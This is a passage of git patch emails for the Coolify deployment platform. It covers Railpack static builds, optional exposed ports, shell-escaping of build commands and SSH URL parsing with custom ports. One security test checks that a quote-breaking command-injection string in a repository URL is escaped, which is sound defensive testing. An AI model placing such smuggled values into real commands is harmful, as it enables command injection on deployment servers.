base64_encode(defaultNginxConfiguration()); - } - - $static_build = $this->dockerBuildkitSupported - ? "DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}" - : "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile -t {$this->production_image_name} {$this->workdir}"; - - $base64_static_build = base64_encode($static_build); - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "echo '{$dockerfile}' | base64 -d | tee {$this->workdir}/Dockerfile > /dev/null")], - [executeInDocker($this->deployment_uuid, "echo '{$nginx_config}' | base64 -d | tee {$this->workdir}/nginx.conf > /dev/null")], - [executeInDocker($this->deployment_uuid, "echo '{$base64_static_build}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'), 'hidden' => true], - [executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH), 'hidden' => true], - [executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH), 'hidden' => true], - ); + if (str($this->application->custom_nginx_configuration)->isNotEmpty()) { + $nginx_config = base64_encode($this->application->custom_nginx_configuration); + } else { + $nginx_config = $this->application->settings->is_spa + ? base64_encode(defaultNginxConfiguration('spa')) + : base64_encode(defaultNginxConfiguration()); } + + $static_build = $this->dockerBuildkitSupported + ? "DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}" + : "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile -t {$this->production_image_name} {$this->workdir}"; + + $base64_static_build = base64_encode($static_build); + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "echo '{$dockerfile}' | base64 -d | tee {$this->workdir}/Dockerfile > /dev/null")], + [executeInDocker($this->deployment_uuid, "echo '{$nginx_config}' | base64 -d | tee {$this->workdir}/nginx.conf > /dev/null")], + [executeInDocker($this->deployment_uuid, "echo '{$base64_static_build}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'), 'hidden' => true], + [executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH), 'hidden' => true], + [executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH), 'hidden' => true], + ); } private function generate_coolify_env_variables(bool $forBuildTime = false): Collection diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index c208e2cd2..63240620b 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -84,7 +84,9 @@ public function updatedBuildPack() { if ($this->build_pack === 'nixpacks' || $this->build_pack === 'railpack') { $this->show_is_static = true; - $this->port = 3000; + if (! $this->is_static) { + $this->port = 3000; + } } elseif ($this->build_pack === 'static') { $this->show_is_static = false; $this->is_static = false; diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index f312a9dc0..92d388234 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -97,7 +97,9 @@ public function updatedBuildPack() { if ($this->build_pack === 'nixpacks' || $this->build_pack === 'railpack') { $this->show_is_static = true; - $this->port = 3000; + if (! $this->is_static) { + $this->port = 3000; + } } elseif ($this->build_pack === 'static') { $this->show_is_static = false; $this->is_static = false; diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index eb4ce7b84..dd7a682d1 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -101,7 +101,9 @@ public function updatedBuildPack() { if ($this->build_pack === 'nixpacks' || $this->build_pack === 'railpack') { $this->show_is_static = true; - $this->port = 3000; + if (! $this->isStatic) { + $this->port = 3000; + } } elseif ($this->build_pack === 'static') { $this->show_is_static = false; $this->isStatic = false; diff --git a/docker/coolify-helper/Dockerfile b/docker/coolify-helper/Dockerfile index ebe667437..1f4ca8788 100644 --- a/docker/coolify-helper/Dockerfile +++ b/docker/coolify-helper/Dockerfile @@ -12,7 +12,7 @@ ARG PACK_VERSION=0.38.2 # https://github.com/railwayapp/nixpacks/releases ARG NIXPACKS_VERSION=1.41.0 # https://github.com/railwayapp/railpack/releases -ARG RAILPACK_VERSION=0.21.0 +ARG RAILPACK_VERSION=0.22.0 # https://github.com/jdx/mise/releases — must match railpack's pinned version (https://raw.githubusercontent.com/railwayapp/railpack/refs/heads/main/core/mise/version.txt) ARG MISE_VERSION=2026.3.12 # https://github.com/minio/mc/releases diff --git a/tests/Feature/ApplicationBuildpackCleanupTest.php b/tests/Feature/ApplicationBuildpackCleanupTest.php index 857410920..0dc0a8303 100644 --- a/tests/Feature/ApplicationBuildpackCleanupTest.php +++ b/tests/Feature/ApplicationBuildpackCleanupTest.php @@ -78,26 +78,29 @@ // Add environment variables that should be deleted EnvironmentVariable::create([ - 'application_id' => $application->id, + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, 'key' => 'SERVICE_FQDN_APP', 'value' => 'app.example.com', - 'is_build_time' => false, + 'is_buildtime' => false, 'is_preview' => false, ]); EnvironmentVariable::create([ - 'application_id' => $application->id, + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, 'key' => 'SERVICE_URL_APP', 'value' => 'http://app.example.com', - 'is_build_time' => false, + 'is_buildtime' => false, 'is_preview' => false, ]); EnvironmentVariable::create([ - 'application_id' => $application->id, + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, 'key' => 'REGULAR_VAR', 'value' => 'should_remain', - 'is_build_time' => false, + 'is_buildtime' => false, 'is_preview' => false, ]); @@ -154,6 +157,34 @@ 'docker_compose_raw' => 'version: "3.8"\nservices:\n app:\n image: nginx', ]); + // Add environment variables that should be deleted + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'SERVICE_FQDN_APP', + 'value' => 'app.example.com', + 'is_buildtime' => false, + 'is_preview' => false, + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'SERVICE_URL_APP', + 'value' => 'http://app.example.com', + 'is_buildtime' => false, + 'is_preview' => false, + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'REGULAR_VAR', + 'value' => 'should_remain', + 'is_buildtime' => false, + 'is_preview' => false, + ]); + $application->build_pack = 'railpack'; $application->save(); $application->refresh(); @@ -161,6 +192,13 @@ expect($application->build_pack)->toBe('railpack'); expect($application->docker_compose_domains)->toBeNull(); expect($application->docker_compose_raw)->toBeNull(); + + // Verify SERVICE_FQDN_* and SERVICE_URL_* were deleted + expect($application->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0); + expect($application->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0); + + // Verify regular variables remain + expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1); }); test('model does not clear dockerfile fields when switching to dockerfile', function () { diff --git a/tests/Feature/ApplicationRailpackTest.php b/tests/Feature/ApplicationRailpackTest.php index f3e49cc21..59e8a82e0 100644 --- a/tests/Feature/ApplicationRailpackTest.php +++ b/tests/Feature/ApplicationRailpackTest.php @@ -10,13 +10,15 @@ uses(RefreshDatabase::class); describe('Application Railpack Support', function () { - test('could_set_build_commands returns true for railpack', function () { + beforeEach(function () { $team = Team::factory()->create(); $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); + $this->environment = Environment::factory()->create(['project_id' => $project->id]); + }); + test('could_set_build_commands returns true for railpack', function () { $application = Application::factory()->create([ - 'environment_id' => $environment->id, + 'environment_id' => $this->environment->id, 'build_pack' => 'railpack', ]); @@ -24,12 +26,8 @@ }); test('could_set_build_commands returns true for nixpacks', function () { - $team = Team::factory()->create(); - $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $application = Application::factory()->create([ - 'environment_id' => $environment->id, + 'environment_id' => $this->environment->id, 'build_pack' => 'nixpacks', ]); @@ -37,12 +35,8 @@ }); test('could_set_build_commands returns false for dockerfile', function () { - $team = Team::factory()->create(); - $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $application = Application::factory()->create([ - 'environment_id' => $environment->id, + 'environment_id' => $this->environment->id, 'build_pack' => 'dockerfile', ]); @@ -50,12 +44,8 @@ }); test('railpack_environment_variables returns only RAILPACK_ prefixed vars', function () { - $team = Team::factory()->create(); - $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $application = Application::factory()->create([ - 'environment_id' => $environment->id, + 'environment_id' => $this->environment->id, 'build_pack' => 'railpack', ]); @@ -92,12 +82,8 @@ }); test('runtime_environment_variables excludes RAILPACK_ and NIXPACKS_ prefixed vars', function () { - $team = Team::factory()->create(); - $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $application = Application::factory()->create([ - 'environment_id' => $environment->id, + 'environment_id' => $this->environment->id, 'build_pack' => 'railpack', ]); @@ -134,12 +120,8 @@ }); test('railpack_environment_variables_preview returns only RAILPACK_ prefixed preview vars', function () { - $team = Team::factory()->create(); - $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $application = Application::factory()->create([ - 'environment_id' => $environment->id, + 'environment_id' => $this->environment->id, 'build_pack' => 'railpack', ]); From ff0de0bc31c80245d310c9d39bd6caa653e00914 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 24 Mar 2026 06:59:29 +0100 Subject: [PATCH 010/329] fix(docker): add docker buildx prune for coolify-railpack builder --- app/Actions/Server/CleanupDocker.php | 1 + 1 file changed, 1 insertion(+) diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 0d9ca0153..135623b1f 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -51,6 +51,7 @@ public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $ 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true"', $imagePruneCmd, 'docker builder prune -af', + 'docker buildx prune --builder coolify-railpack -af 2>/dev/null || true', "docker images --filter before=$helperImageWithVersion --filter reference=$helperImage | grep $helperImage | awk '{print $3}' | xargs -r docker rmi -f", "docker images --filter before=$realtimeImageWithVersion --filter reference=$realtimeImage | grep $realtimeImage | awk '{print $3}' | xargs -r docker rmi -f", "docker images --filter before=$helperImageWithoutPrefixVersion --filter reference=$helperImageWithoutPrefix | grep $helperImageWithoutPrefix | awk '{print $3}' | xargs -r docker rmi -f", From 7dd648e549aa9e86299cbd32dc13e26b17a9dfd9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 24 Mar 2026 06:59:45 +0100 Subject: [PATCH 011/329] feat(seeders): add railpack-static example application seed data Add ApplicationSeeder entry for railpack-static example with railpack build pack and corresponding application settings configuration. --- database/seeders/ApplicationSeeder.php | 16 ++++++++++++++++ database/seeders/ApplicationSettingsSeeder.php | 7 +++++++ 2 files changed, 23 insertions(+) diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index 2a0273e0f..edb28c377 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -145,5 +145,21 @@ public function run(): void 'source_id' => 1, 'source_type' => GitlabApp::class, ]); + Application::create([ + 'uuid' => 'railpack-static', + 'name' => 'Railpack Static Example', + 'fqdn' => 'http://railpack-static.127.0.0.1.sslip.io', + 'repository_project_id' => 603035348, + 'git_repository' => 'coollabsio/coolify-examples', + 'git_branch' => 'v4.x', + 'base_directory' => '/static', + 'build_pack' => 'railpack', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GithubApp::class, + ]); } } diff --git a/database/seeders/ApplicationSettingsSeeder.php b/database/seeders/ApplicationSettingsSeeder.php index 87236df8a..e8be0ba70 100644 --- a/database/seeders/ApplicationSettingsSeeder.php +++ b/database/seeders/ApplicationSettingsSeeder.php @@ -22,5 +22,12 @@ public function run(): void $gitlabPublic->settings->is_static = true; $gitlabPublic->settings->save(); } + + $railpackStatic = Application::where('uuid', 'railpack-static')->first(); + if ($railpackStatic) { + $railpackStatic->load(['settings']); + $railpackStatic->settings->is_static = true; + $railpackStatic->settings->save(); + } } } From 4afcbbb2096df7db98663b2aeb93f315b85431a1 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 24 Mar 2026 07:09:24 +0100 Subject: [PATCH 012/329] fix(deployment): properly escape shell arguments in railpack prepare command --- app/Jobs/ApplicationDeploymentJob.php | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 13511957f..f4ec4abda 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2454,13 +2454,13 @@ private function build_railpack_image(): void $prepare_command .= " {$this->env_railpack_args}"; } if ($this->application->build_command) { - $prepare_command .= " --build-cmd \"{$this->application->build_command}\""; + $prepare_command .= ' --build-cmd '.escapeShellValue($this->application->build_command); } if ($this->application->start_command) { - $prepare_command .= " --start-cmd \"{$this->application->start_command}\""; + $prepare_command .= ' --start-cmd '.escapeShellValue($this->application->start_command); } if ($this->application->install_command) { - $prepare_command .= " --env RAILPACK_INSTALL_CMD=\"{$this->application->install_command}\""; + $prepare_command .= ' --env '.escapeShellValue("RAILPACK_INSTALL_CMD={$this->application->install_command}"); } $prepare_command .= " --plan-out /artifacts/railpack-plan.json {$this->workdir}"; From 9c8e5645b42703e2b56c31dd6c9a29c8d3a90d6b Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 26 Mar 2026 13:20:41 +0530 Subject: [PATCH 013/329] feat(application): make ports_exposes optional for portless apps --- .../Api/ApplicationsController.php | 16 ++++----- app/Jobs/ApplicationDeploymentJob.php | 33 +++++++++++-------- app/Livewire/Project/Application/General.php | 3 +- app/Models/Application.php | 2 +- ...exposes_nullable_in_applications_table.php | 22 +++++++++++++ .../project/application/general.blade.php | 9 ++++- 6 files changed, 60 insertions(+), 25 deletions(-) create mode 100644 database/migrations/2026_03_26_000000_make_ports_exposes_nullable_in_applications_table.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 66f6a1ef8..6b57d8f5f 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -144,7 +144,7 @@ public function applications(Request $request) mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'git_repository', 'git_branch', 'build_pack', 'ports_exposes'], + required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'git_repository', 'git_branch', 'build_pack'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -309,7 +309,7 @@ public function create_public_application(Request $request) mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'github_app_uuid', 'git_repository', 'git_branch', 'build_pack', 'ports_exposes'], + required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'github_app_uuid', 'git_repository', 'git_branch', 'build_pack'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -474,7 +474,7 @@ public function create_private_gh_app_application(Request $request) mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'private_key_uuid', 'git_repository', 'git_branch', 'build_pack', 'ports_exposes'], + required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'private_key_uuid', 'git_repository', 'git_branch', 'build_pack'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -776,7 +776,7 @@ public function create_dockerfile_application(Request $request) mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'docker_registry_image_name', 'ports_exposes'], + required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'docker_registry_image_name'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -1114,7 +1114,7 @@ private function create_application(Request $request, $type) 'git_repository' => ['string', 'required', new ValidGitRepositoryUrl], 'git_branch' => ['string', 'required', new ValidGitBranch], 'build_pack' => ['required', Rule::enum(BuildPackTypes::class)], - 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', + 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|nullable', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -1307,7 +1307,7 @@ private function create_application(Request $request, $type) 'git_repository' => 'string|required', 'git_branch' => ['string', 'required', new ValidGitBranch], 'build_pack' => ['required', Rule::enum(BuildPackTypes::class)], - 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', + 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|nullable', 'github_app_uuid' => 'string|required', 'watch_paths' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', @@ -1534,7 +1534,7 @@ private function create_application(Request $request, $type) 'git_repository' => ['string', 'required', new ValidGitRepositoryUrl], 'git_branch' => ['string', 'required', new ValidGitBranch], 'build_pack' => ['required', Rule::enum(BuildPackTypes::class)], - 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', + 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|nullable', 'private_key_uuid' => 'string|required', 'watch_paths' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', @@ -1835,7 +1835,7 @@ private function create_application(Request $request, $type) $validationRules = [ 'docker_registry_image_name' => 'string|required', 'docker_registry_image_tag' => 'string', - 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', + 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|nullable', ]; $validationRules = array_merge(sharedDataApplications(), $validationRules); $validator = customApiValidator($request->all(), $validationRules); diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 785e8c8e3..41eb81453 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -1282,7 +1282,7 @@ private function generate_runtime_environment_variables() // Add PORT if not exists, use the first port as default if ($this->build_pack !== 'dockercompose') { - if ($this->application->environment_variables->where('key', 'PORT')->isEmpty()) { + if ($this->application->environment_variables->where('key', 'PORT')->isEmpty() && ! empty($ports)) { $envs->push("PORT={$ports[0]}"); } } @@ -2585,7 +2585,7 @@ private function generate_compose_file() 'image' => $this->production_image_name, 'container_name' => $this->container_name, 'restart' => RESTART_MODE, - 'expose' => $ports, + ...(!empty($ports) ? ['expose' => $ports] : []), 'networks' => [ $this->destination->network => [ 'aliases' => array_merge( @@ -2617,16 +2617,19 @@ private function generate_compose_file() // If custom_healthcheck_found is true, the Dockerfile's HEALTHCHECK will be used // If healthcheck is disabled, no healthcheck will be added if (! $this->application->custom_healthcheck_found && ! $this->application->isHealthcheckDisabled()) { - $docker_compose['services'][$this->container_name]['healthcheck'] = [ - 'test' => [ - 'CMD-SHELL', - $this->generate_healthcheck_commands(), - ], - 'interval' => $this->application->health_check_interval.'s', - 'timeout' => $this->application->health_check_timeout.'s', - 'retries' => $this->application->health_check_retries, - 'start_period' => $this->application->health_check_start_period.'s', - ]; + $healthcheck_command = $this->generate_healthcheck_commands(); + if ($healthcheck_command !== null) { + $docker_compose['services'][$this->container_name]['healthcheck'] = [ + 'test' => [ + 'CMD-SHELL', + $healthcheck_command, + ], + 'interval' => $this->application->health_check_interval.'s', + 'timeout' => $this->application->health_check_timeout.'s', + 'retries' => $this->application->health_check_retries, + 'start_period' => $this->application->health_check_start_period.'s', + ]; + } } if (! is_null($this->application->limits_cpuset)) { @@ -2836,7 +2839,11 @@ private function generate_healthcheck_commands() // HTTP type healthcheck (default) if (! $this->application->health_check_port) { - $health_check_port = (int) $this->application->ports_exposes_array[0]; + if (! empty($this->application->ports_exposes_array)) { + $health_check_port = (int) $this->application->ports_exposes_array[0]; + } else { + return null; + } } else { $health_check_port = (int) $this->application->health_check_port; } diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 5c186af70..885c9dbac 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -153,7 +153,7 @@ protected function rules(): array 'staticImage' => 'required', 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), 'publishDirectory' => ValidationPatterns::directoryPathRules(), - 'portsExposes' => 'required', + 'portsExposes' => 'nullable', 'portsMappings' => 'nullable', 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', @@ -208,7 +208,6 @@ protected function messages(): array 'buildPack.required' => 'The Build Pack field is required.', 'staticImage.required' => 'The Static Image field is required.', 'baseDirectory.required' => 'The Base Directory field is required.', - 'portsExposes.required' => 'The Exposed Ports field is required.', 'isStatic.required' => 'The Static setting is required.', 'isStatic.boolean' => 'The Static setting must be true or false.', 'isSpa.required' => 'The SPA setting is required.', diff --git a/app/Models/Application.php b/app/Models/Application.php index 4cc2dcf74..75b81920d 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -2147,7 +2147,7 @@ public function setConfig($config) 'config.build_pack' => 'required|string', 'config.base_directory' => 'required|string', 'config.publish_directory' => 'required|string', - 'config.ports_exposes' => 'required|string', + 'config.ports_exposes' => 'nullable|string', 'config.settings.is_static' => 'required|boolean', ]); if ($deepValidator->fails()) { diff --git a/database/migrations/2026_03_26_000000_make_ports_exposes_nullable_in_applications_table.php b/database/migrations/2026_03_26_000000_make_ports_exposes_nullable_in_applications_table.php new file mode 100644 index 000000000..ac7b5cb55 --- /dev/null +++ b/database/migrations/2026_03_26_000000_make_ports_exposes_nullable_in_applications_table.php @@ -0,0 +1,22 @@ +string('ports_exposes')->nullable()->change(); + }); + } + + public function down(): void + { + Schema::table('applications', function (Blueprint $table) { + $table->string('ports_exposes')->nullable(false)->default('')->change(); + }); + } +}; diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index d743e346e..9539f47dc 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -492,6 +492,13 @@ class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-blue-50 dark:bg-blu
@endif @endif + @if (empty($portsExposes) || $portsExposes === '0') + + This application does not expose any ports and will not be reachable through the proxy or your domains. + This behavior is normal for background workers, bots, or scheduled tasks. + If your application needs to handle HTTP traffic, please specify the port(s) it listens on. + + @endif
@if ($isStatic || $buildPack === 'static') @else - @endif From 8c4865215b9ba90f0d37c7d2e81b351e8974001e Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 26 Mar 2026 13:26:50 +0530 Subject: [PATCH 014/329] feat(ui): show info callout only when domain is set without exposed ports --- resources/views/livewire/project/application/general.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index 9539f47dc..91e462b46 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -492,7 +492,7 @@ class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-blue-50 dark:bg-blu
@endif @endif - @if (empty($portsExposes) || $portsExposes === '0') + @if ((empty($portsExposes) || $portsExposes === '0') && !empty($fqdn)) This application does not expose any ports and will not be reachable through the proxy or your domains. This behavior is normal for background workers, bots, or scheduled tasks. From 903837c96a87ca2f49d9b0440bdba148621a5fd1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?F=C3=A1bio=20Henrique=20Ara=C3=BAjo?= Date: Wed, 1 Apr 2026 13:19:47 +0000 Subject: [PATCH 015/329] fix: add missing database alteration step for latest image version When upgrading to the latest image version, the database alteration command was missing, causing the application to fail due to schema mismatch. This change ensures the database is properly migrated to the latest version during startup. --- templates/compose/logto.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/logto.yaml b/templates/compose/logto.yaml index ce856c138..ce83a2ec3 100644 --- a/templates/compose/logto.yaml +++ b/templates/compose/logto.yaml @@ -10,7 +10,7 @@ services: depends_on: postgres: condition: service_healthy - entrypoint: ["sh", "-c", "npm run cli db seed -- --swe && npm start"] + entrypoint: ["sh", "-c", "npm run cli db seed -- --swe && npm run alteration deploy latest && npm start"] environment: - SERVICE_URL_LOGTO - TRUST_PROXY_HEADER=1 From f877985e5631c5ed8863c25c215edc111b379a2b Mon Sep 17 00:00:00 2001 From: Iisyourdad Date: Sat, 4 Apr 2026 14:49:34 -0500 Subject: [PATCH 016/329] fix(git): preserve ssh scheme URLs with custom ports --- bootstrap/helpers/shared.php | 18 ++++++++++++------ tests/Feature/ConvertingGitUrlsTest.php | 8 ++++++++ tests/Unit/ApplicationGitSecurityTest.php | 20 ++++++++++++++++++++ 3 files changed, 40 insertions(+), 6 deletions(-) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index cd773f6a9..88ac01819 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -3660,13 +3660,19 @@ function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp| } } - preg_match('/(?<=:)\d+(?=\/)/', $gitRepository, $matches); + if (str($gitRepository)->contains('://')) { + $parsedRepository = parse_url($gitRepository); - if (count($matches) === 1) { - $providerInfo['port'] = $matches[0]; - $gitHost = str($gitRepository)->before(':'); - $gitRepo = str($gitRepository)->after('/'); - $repository = "$gitHost:$gitRepo"; + if ($parsedRepository !== false && array_key_exists('port', $parsedRepository)) { + $providerInfo['port'] = (string) $parsedRepository['port']; + } + } else { + preg_match('/^(?[^:]+):(?\d+)\/(?.+)$/', $gitRepository, $matches); + + if (! empty($matches['port'])) { + $providerInfo['port'] = $matches['port']; + $repository = "{$matches['host']}:{$matches['path']}"; + } } return [ diff --git a/tests/Feature/ConvertingGitUrlsTest.php b/tests/Feature/ConvertingGitUrlsTest.php index 5bcdea1a1..5ff1c8365 100644 --- a/tests/Feature/ConvertingGitUrlsTest.php +++ b/tests/Feature/ConvertingGitUrlsTest.php @@ -60,3 +60,11 @@ 'port' => '766', ]); }); + +test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPort', function () { + $result = convertGitUrl('ssh://git@192.168.56.11:22222/User/Repo.git', 'source', null); + expect($result)->toBe([ + 'repository' => 'ssh://git@192.168.56.11:22222/User/Repo.git', + 'port' => '22222', + ]); +}); diff --git a/tests/Unit/ApplicationGitSecurityTest.php b/tests/Unit/ApplicationGitSecurityTest.php index 3603b18db..f983d4bf0 100644 --- a/tests/Unit/ApplicationGitSecurityTest.php +++ b/tests/Unit/ApplicationGitSecurityTest.php @@ -99,3 +99,23 @@ // The malicious payload should be escaped (escapeshellarg wraps and escapes quotes) expect($command)->toContain("'https://github.com/user/repo.git'\\''"); }); + +it('preserves ssh scheme URLs with custom ports in deploy_key commands', function () { + $deploymentUuid = 'test-deployment-uuid'; + + $application = new Application; + $application->git_branch = 'master'; + $application->git_repository = 'ssh://git@192.168.56.11:22222/User/Repo.git'; + $application->private_key_id = 1; + + $privateKey = new PrivateKey; + $privateKey->private_key = 'fake-private-key'; + $application->setRelation('private_key', $privateKey); + + $result = $application->generateGitLsRemoteCommands($deploymentUuid, false); + + expect($result['commands']) + ->toContain("'ssh://git@192.168.56.11:22222/User/Repo.git'") + ->toContain('-p 22222') + ->not->toContain('ssh:/git@192.168.56.11:22222/User/Repo.git'); +}); From d2ada90a471495bf4131e24801ebebc012b53155 Mon Sep 17 00:00:00 2001 From: Iisyourdad Date: Tue, 7 Apr 2026 22:41:15 -0500 Subject: [PATCH 017/329] fix(git): harden ssh URL normalization --- bootstrap/helpers/shared.php | 8 +++--- tests/Feature/ConvertingGitUrlsTest.php | 36 +++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 3 deletions(-) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 88ac01819..011c149c9 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -3660,14 +3660,16 @@ function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp| } } - if (str($gitRepository)->contains('://')) { - $parsedRepository = parse_url($gitRepository); + $normalizedRepository = $repository; + + if (str($normalizedRepository)->contains('://')) { + $parsedRepository = parse_url($normalizedRepository); if ($parsedRepository !== false && array_key_exists('port', 